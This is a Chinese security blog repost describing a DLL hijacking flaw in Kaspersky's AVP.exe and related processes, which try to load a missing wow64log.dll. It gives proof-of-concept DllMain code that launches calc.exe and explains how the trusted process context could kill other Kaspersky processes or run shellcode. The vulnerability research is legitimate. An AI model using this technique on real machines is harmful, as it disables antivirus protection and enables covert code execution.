Kaspersky AVP.exe DLL 劫持

逆向病毒分析 2年前 (2022) admin
694 0 0

Kaspersky AVP.exe 中的 DLL 注入允许本地管理员在不知道 Kaspersky 密码的情况下杀死或篡改防病毒软件和在高权限中执行命令。


在Kaspersky AVP.exe进程尝试加载缺少的wow64log.dllDLL文件(在System32)。


通过DLL植入恶意文件,本地Windows管理员可以在这个受信任的AVP.exe进程的上下文中实现代码执行并杀死其他进程,从而在无法检测和清除病毒的杀毒软件上实现拒绝服务和以卡巴斯基的身份执行任意命令。


版本

斯基安全软件

Kaspersky AVP.exe DLL 劫持

AVP.exe版本

Kaspersky AVP.exe DLL 劫持


Kaspersky Password Manager Service

Kaspersky AVP.exe DLL 劫持


卡巴斯基安全软件启动的进程为:

Kaspersky AVP.exe DLL 劫持


Kaspersky Password Manager Service启动的进程为:

Kaspersky AVP.exe DLL 劫持

ProCess Monitor

AVP.exe 加载不存在的wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持


Avpui.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持


kpm.exe同样加载不存在的Wow64log.dll,路径为C:windowsSystem32

Kaspersky AVP.exe DLL 劫持



wow64log.dll与 WoW64 Windows 机制有关,该机制允许在 64 位 Windows 上运行 32 位程序。该子系统会自动尝试加载它,但是它不存在于任何公共 Windows 版本中。

C:WindowsSystem (Windows95/98/Me)C:WINNTSystem32(WindowsNT/2000)C:WindowsSystem32 (Windows XP,Vista,7,8,10)

如果是64位文件C:WindowsSysWOW64

作为管理员,我们可以构造恶意 wow64log.dll 文件复制到 System32 。


例如:

#include "pch.h"#include <windows.h>#include <tlhelp32.h>#include <stdio.h>#include <iostream>#include <map>



BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; CreateProcess(TEXT("C:\Windows\System32\calc.exe"), NULL, NULL, NULL, false, 0, NULL, NULL, &si, &pi);

switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: char szFileName[MAX_PATH + 1]; GetModuleFileNameA(NULL, szFileName, MAX_PATH + 1);

//check if we are injected in an interesting McAfee process if (strstr(szFileName, "avp") != NULL //|| strstr(szFileName, "mcshield") != NULL || strstr(szFileName, "avp.exe") != NULL ) { DisableThreadLibraryCalls(hModule); } else {

}

case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: //log("detach"); break; } return TRUE;}

手动复制在目标文件目录中,然后启动卡巴斯基,可以看到加载了我们的Wow64log.dll

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持


启动Kaspersky Password Manager Service

Kaspersky AVP.exe DLL 劫持

加载了我们的恶意DLL并执行了

Kaspersky AVP.exe DLL 劫持


卡巴斯基具有自我保护机制,即使管理员也无法终止或注入Avp.exe /avpui.exe等等 进程。但似乎卡巴斯基家族的所有进程都认为其他卡巴斯基进程在自我保护方面是“受信任的”。因此,如果我们设法在一个上下文中执行代码,我们就可以“攻击”并杀死其进程和在卡巴斯基中执行任意命令等等。

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持


我们可以编译一个恶意的dll利用卡巴斯基的进程去kill其它卡巴斯基的进程。

Kaspersky AVP.exe DLL 劫持

Kaspersky AVP.exe DLL 劫持

也可以在卡巴是安全上下文中执行我们的shellcode 例如:

Kaspersky AVP.exe DLL 劫持



原文始发于微信公众号(黑白天实验室):Kaspersky AVP.exe DLL 劫持

版权声明:admin 发表于 2022年7月22日 上午12:13。
转载请注明:Kaspersky AVP.exe DLL 劫持 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...